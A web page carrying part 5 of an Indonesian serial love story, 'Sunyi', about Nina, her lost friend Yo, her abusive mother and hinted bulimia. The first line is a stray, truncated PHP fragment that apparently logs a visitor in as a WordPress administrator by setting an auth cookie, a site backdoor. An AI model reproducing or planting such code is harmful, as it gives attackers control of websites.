user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Sunyi [5]

12 May 2012


Ia terlihat salah tingkah. Mungkin, aku juga. 

“Warna kemejamu bagus, Yo,” ujarku, sekenanya.

“Terima kasih. Selera bajumu pun bertambah bagus sekarang.”

Aku mengangguk, teringat betapa dulu ia mencela keanehanku dalam berpakaian. Itu pilihan Ibu, Yo. Aku pun tak menyukainya. Tapi, hanya dia yang boleh memilihkan baju untukku. Jadi, aku harus memakainya. Aku ingat, Yo hanya mengangguk waktu kukatakan yang sebenarnya.

“Aku beruntung. Susan banyak membantu memilihkan pakai­an untukku. Kau ingat Susan kan, teman SMP kita dulu?”

“Ya, aku pernah bertemu dengannya di suatu restoran saat aku menjamu klien. Sayangnya, kami tak sempat mengobrol. Cuma bertukar kartu nama. Ia pun mengatakan bahwa kalian tinggal di satu apartemen.”

Kami terdiam lagi. Aku tak tahu apa yang harus kubicarakan, sampai makanan kami masing-masing terhidang.

“Ayo, Nin, tampaknya lezat.”

Harum bebek bali rupanya tak dapat menerbitkan air liur kami. Ia memotong-motongnya dengan gelisah, tanpa menyuap sekali pun. Kuberanikan diri untuk bertanya. “Kau tampaknya memikirkan sesuatu.”

Ia memandangku, lalu mendorong piringnya ke samping.

“Maaf, aku tak dapat menahan diri untuk tidak bertanya. Nina, apakah sekarang sudah punya seseorang?”

Aku memandangnya, tak percaya ia akan bertanya hal itu.

“Seseorang?”

Ia menunduk, tampak malu.

“Ya, seseorang yang khusus di hatimu, Nina…”

Aku tahu maksudmu. Tapi, tak pernah ada yang khusus lagi bagiku selain kamu, Yo. Aku hanya tak tahu bagaimana menjawabnya.

“Kenapa kau menanyakan hal itu?”

Ia meraih jemariku ke dalam genggamannya. Gerakannya yang tiba-tiba membuatku terkejut. “Aku tak tahu cara lain yang lebih baik untuk mengatakannya, Nina. Tapi, sejak terakhir kali kita bertemu, aku merasa bodoh. Aku tak dapat menyimpannya lebih lama lagi. Aku….”

Genggaman jemarinya makin erat.

“Aku menyayangimu. Aku mencintaimu. Aku tak dapat melupakanmu. Dan, kejadian 13 tahun lalu itu selalu mengusikku. Aku merasa membohongi diri selama ini. Aku tak dapat menemukan orang lain yang dapat kucintai, kusayangi, seperti aku mencintaimu, menyayangimu.”

Dengan mata berkaca-kaca ia melirik orang di sekitar kami. Sikap kami telah menarik perhatian. Perlahan ia lepaskan geng­gamannya. Ada suara saling memaki di kepalaku. Ber­tengkar.

“Aku sudah mencoba tak mengatakannya, Nina. Aku sering memarahi diriku sendiri. Aku tak mengerti mengapa kejadian 13 tahun lalu begitu membekas. Tak peduli seberapa jauh aku pergi, aku tetap tak bisa melupakannya. Ah, aku tahu, semestinya aku membantumu, tapi….”

Tahukah dia, setiap kata-katanya sudah memorak-porandakan benteng pertahananku? Benteng yang kusangka cukup kuat.

“Nina, aku rindu bersamamu, berbincang-bincang denganmu, tertawa dan menangis bersamamu. Aku ingin kembali melewati waktu bersamamu, menjalani hidup dan masa depanku bersamamu. Salahkah aku? Aku hanya ingin jujur dengan perasaanku.”

Aku meluruskan pandanganku. Tidak, Yo, kau tidak salah. Tapi, kau pun tahu, itu tidak mungkin. Bertahun-tahun aku bertanya tentang perasaanmu, tentang mengapa kau pergi waktu itu. Sudah 13 tahun aku menunggu dan berharap dapat mengalami saat-saat seperti ini. Tapi, sekarang aku hanya ingin lari! Ya, lari darimu, lari dari semua ini! Ini semua tidak nyata! Kau tidak nyata, senyummu tidak ada. Ini mimpi! Mimpi! Aku harus cepat bangun, sebelum kecewa lagi.

“Jujurlah, apakah kau juga menyayangiku? Kini aku tak peduli apa kata orang, aku hanya ingin kita dapat bersama.”

Kuraih tas, dan melangkah keluar. Kudengar teriakannya memanggil namaku. Aku tak peduli melihat tatapan bingung orang-orang di sekeliling. Kutinggalkan ia sendiri. Seperti aku, selalu sendiri. Sendiri.

November 1992
Rintik-rintik air sudah turun dari langit sejak siang tadi. Hari ini harusnya aku kuliah. Tapi, hujan mengurungkan niatku untuk berlari-lari menembus curahan air dan mengejar bus kota. Kebetulan, Ibu hendak pergi ke rumah Paman Satrio untuk menengok Bibi, yang baru saja pulang dari rumah sakit. 

“Kau tidak mau ikut?”

Aku membayangkan betapa membosankannya acara basa-basi nanti. Dengan cepat kugelengkan kepalaku.
“Ibu kan tahu, aku ada kuliah tiap hari Sabtu. Lagi pula, minggu depan ada ujian. Kalau tak ujian, aku bisa bolos hari ini.”

Ibu melirikku sekilas, lalu beranjak sebelum kalimatku selesai. 

Kapan lagi bisa diam di rumah tanpa Ibu? Hmm, aku bisa bergelung di ranjang dan melamun tanpa diteriaki. Jadi, maaf, berada di rumah Paman atau di keramaian kampus tak dapat dibandingkan dengan kedamaian yang dapat kurasakan saat ini.

Aku ke dapur setelah perutku berbunyi minta diisi. Membuka tudung saji, yang kutahu hanya ada nasi tanpa lauk di dalamnya. Konyol. Kau sudah terlalu gemuk, anak bodoh! Aku tak mau memasak untukmu. Hidupmu sudah terlalu enak. Kalau kau mau makan, masaklah sendiri! Tiba-tiba kudengar dering telepon dari ruang tamu.

Advertisement
“Nin, kujemput, ya. Kita kuliah bareng.”

Baru saja aku merindukan suaramu, Yo….

“Malas, ah, kuliah dengan cuaca seperti ini. Aku pilih tidur saja. Kau saja, deh. Nanti aku pinjam catatannya, ya?”
“Curang! Kalau kau tidak kuliah, aku juga bolos, deh.”

Rajukannya menyenangkan hatiku. Ingat, Nina, jangan teruskan perasaanmu. Dia temanmu.

“Sudah, ah, aku lapar. Aku masak mi dulu, ya. Selamat kuliah!”

Aku menutup telepon sambil tersenyum. Setengah jam kemudian, aku mendecak kesal ketika harus meletakkan sendok untuk membuka pintu depan. Apa ada orang yang mau bertamu hujan-hujan seperti ini? 

“Hei! Mau apa kau ke sini?”

Yo masuk tanpa kupersilakan. “Aku mau makan mi.”

“Ih, masak sendiri saja.”

Sore itu kami lewati dengan senang. Menikmati mi sambil bergurau, ngobrol tak tentu arah, hingga akhirnya kami sama-sama terdiam karena sudah tak tahu lagi apa yang harus dibicarakan. Suasana hening menyelimuti rumah, diiringi derasnya hujan yang tak juga menunjukkan tanda-tanda akan berhenti.

“Yo, kurasa, kau lebih baik pulang, nanti kemalaman. Aku takut, jalan-jalan di luar gang rumahku akan banjir seperti tahun lalu.”

“Aku malas. Ibumu pulang jam berapa?”

Kulirik jam. Mungkin masih lama, Yo. Tapi, aku takut aku terlalu menyukai waktu yang kulewati berdua bersamamu.
“Ya, sudah, kau pulang setelah aku mandi, ya. Setelah dipikir-pikir, takut juga aku di rumah sendiri. Tapi, ingat, setelah aku selesai, kau harus pulang, ya. Kalau mobilmu mogok nanti, aku tak mau bertanggung jawab.”

“Iya, iya, mandi sana!”

Aku tersenyum mendengar suara televisi dari ruang tamu ketika selesai mandi. Aku segera ke kamar untuk mengambil pakaian. Tiba-tiba petir berkilat menyambar kencang, menimbulkan suara yang amat keras dan membuatku terpekik kaget di depan lemari pakaian. Yo membuka pintu kamar.

“Ada apa?”

Suasana kamar amat suram. Langit begitu gelap. Riuh rendah hujan bersahutan dengan suara angin. Kami membeku di tempat masing-masing, saling memandang. Pada bunyi petir berikutnya, kami berlari saling mendekat. 
“Aduh, menyeramkan sekali, ya! Aku takut, Yo. Suara petirnya seperti dunia mau kiamat saja.”

Sebelum kalimatku habis, aku sempat tak menyadari apa yang terjadi. Kurasakan bibirku begitu hangat. Aku terbelalak. Kami berciuman! Bibir kami bertaut erat, begitu juga tubuh kami. Tanpa sadar, handukku terlepas, melorot ke lantai. Kehangatan menggetarkan, yang belum pernah kurasakan seumur hidupku. Lautan kasih terasa begitu menggelora dan meluap tumpah ruah dari jiwaku. Perasaan yang selama ini kusimpan rapat-rapat untuk Yo, kini mengalir dengan derasnya. Detik demi detik terurai tanpa terasa. 

Tapi, tidak dengan duniaku, dunia kami. Waktu seolah terhenti. Kasih sayang ini sudah kusembunyikan bertahun-tahun, dan aku dapat menutupinya dengan pandai. Tapi, aku tak dapat membohongi diriku lagi pada saat seperti ini. Aku menyayanginya. Meskipun, kami tidak mungkin lagi bersatu. Aku tahu itu. Tapi, biarlah saat ini menjadi saat keabadian bagiku.

“Anak kurang ajar!”

Waktu sontak kembali. Pelukan kami terlepas. Ibu berdiri dengan garang di depan pintu kamar. Wajah Yo, dan mungkin juga wajahku, begitu pucat seperti mayat hidup. Aku baru sadar kepolosan tubuhku saat Ibu memukuli kepalaku dengan tas jinjingnya yang besar itu. Kutarik handuk untuk menutupi tubuhku dengan rasa malu dan nista yang tak tertanggungkan. Yo menahan tangan Ibu yang kini telah menggenggam ujung tangkai rotan pengebut debu, lalu memukuliku dari segala arah. Yo menahan amukan Ibu dengan tubuhnya. Aku, Yo, dan Ibu menjerit-jerit. Ibu makin kalap karena tak dapat memukulku, terhalang oleh tubuh Yo.

“Keluar kau! Keluar dari rumah ini! Kalau kau tak mau keluar, aku akan berteriak, memanggil semua orang di gang ini untuk mencincangmu!”

Aku menangis. Panik. Aku harus menyelamatkan Yo, walau setelah ini aku harus mati di tangan Ibu.

“Yo, pergi, keluar, Yo! Pergi! Cepat!”

Ibu menjerit, melengking. Kudorong tubuh Yo keluar dengan tergesa-gesa. Ibu mengikuti, mengejar kami.

Kudorong tubuh Yo dengan paksa keluar rumah. Kuempaskan daun pintu secepatnya. Ibu sudah menunggu dengan batang rotan tergenggam erat pada jemarinya, berteriak-teriak memaki, dan siap memukuliku lagi dengan panik.

Aku memang salah, aku memang nista, aku pantas menerimanya. Aku tak tahu apa yang kupikirkan saat melakukannya. Tapi, sungguh, aku tak menyesal, Yo, karena tadi adalah momen paling indah dalam hidupku. Aku menyayangimu. Dan, aku tahu, aku memang menginginkannya, tanpa kusadari. Aku tahu kita tak mungkin bersatu. Tapi, aku juga tahu, perasaan ini nyata. Kalau aku boleh memilih, aku ingin hidup di tempat yang lain, di waktu yang lain, dan menjadi seseorang yang berbeda, hanya untuk bisa selalu bersamamu. 

Juli 2005
Kulempar selimut dengan kesal. Aku tak bisa tidur. Kata-kata Yo dan peristiwa 13 tahun silam silih berganti muncul di kepalaku, bagai layar film yang rusak. Hatiku meradang, menyesali pertemuan yang seharusnya tak perlu kusetujui, menyesali otakku yang tak mau diajak kompromi, menyesali Ibu, menyesali diri sendiri, menyesali Yo…. Ah, aku menyesali hidup ini.

Mungkin, es krim dapat membantu menjernihkan kepalaku. Atau, obat tidur? Ah, aku tak ingin bermimpi buruk lagi. Aku segera keluar kamar menuju lemari es. Tak ada siapa pun di sini. Su­san sedang ke luar kota, Tris menginap di rumah calon mertuanya. 

Untung mereka tak ada. Sungguh nikmat merasakan kesendirian di saat seperti ini. Aku tak perlu menjawab segudang pertanyaan kalau mereka melihatku tepekur tengah malam, sambil meng­habiskan 2 liter es krim. Pikiranku melayang. Aku ingat, sejak sore nahas itu, aku dikurung Ibu selama dua minggu. Tak boleh keluar rumah sama sekali. Ibu bahkan tak peduli saat kukatakan aku harus mengorbankan ujian semester karena hukumannya.

Sejak sore tak terlupakan itu, aku tak pernah bertemu Yo lagi. Ia hilang. Lenyap bagai ditelan bumi. Menurut teman-temanku, ia dipaksa kuliah ke luar negeri oleh orang tuanya. Ada yang menyebut Melbourne, New York, Boston. Ke mana pun dia pergi, yang pasti satu: aku kehilangan dia! Ya, aku amat merindukan dia?

Jiwaku bertambah gamang. Bertanya-tanya, di manakah ia saat itu. Aku tak percaya, ia tega meninggalkanku dan membiarkan aku menanggung semua kebingungan ini sendiri. Bingung tentang apa yang terjadi pada kami, pada pada diriku sendiri, bingung tentang perasaan hati yang kusangkal keras-keras. Belum lagi makian, hinaan, dan pukulan yang makin sering kuterima dari Ibu. Kupikir, aku hampir gila. Rasa benci pada Ibu, pada diriku, pada kepergian Yo, pada ketidakpedulian Yo untuk memberi kabar, berbaur jadi satu.

Aku benci pada hidupku. Pada saat yang sama, Ibu memaksaku untuk makan sebanyak-banyaknya. Padahal, selama ini ia selalu mengatakan aku sudah terlalu gendut untuk makan. Apa bedanya, Ibu? Sebakul nasi pun akan kulahap, sepiring lauk, bahkan ramuan kebanggaan Ibu: susu plus telur mentah pun akan kutelan. Tak apa, selama dapat kumuntahkan lagi…. 

                                                                                           cerita selanjutnya >>

Penulis: Inawati



 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?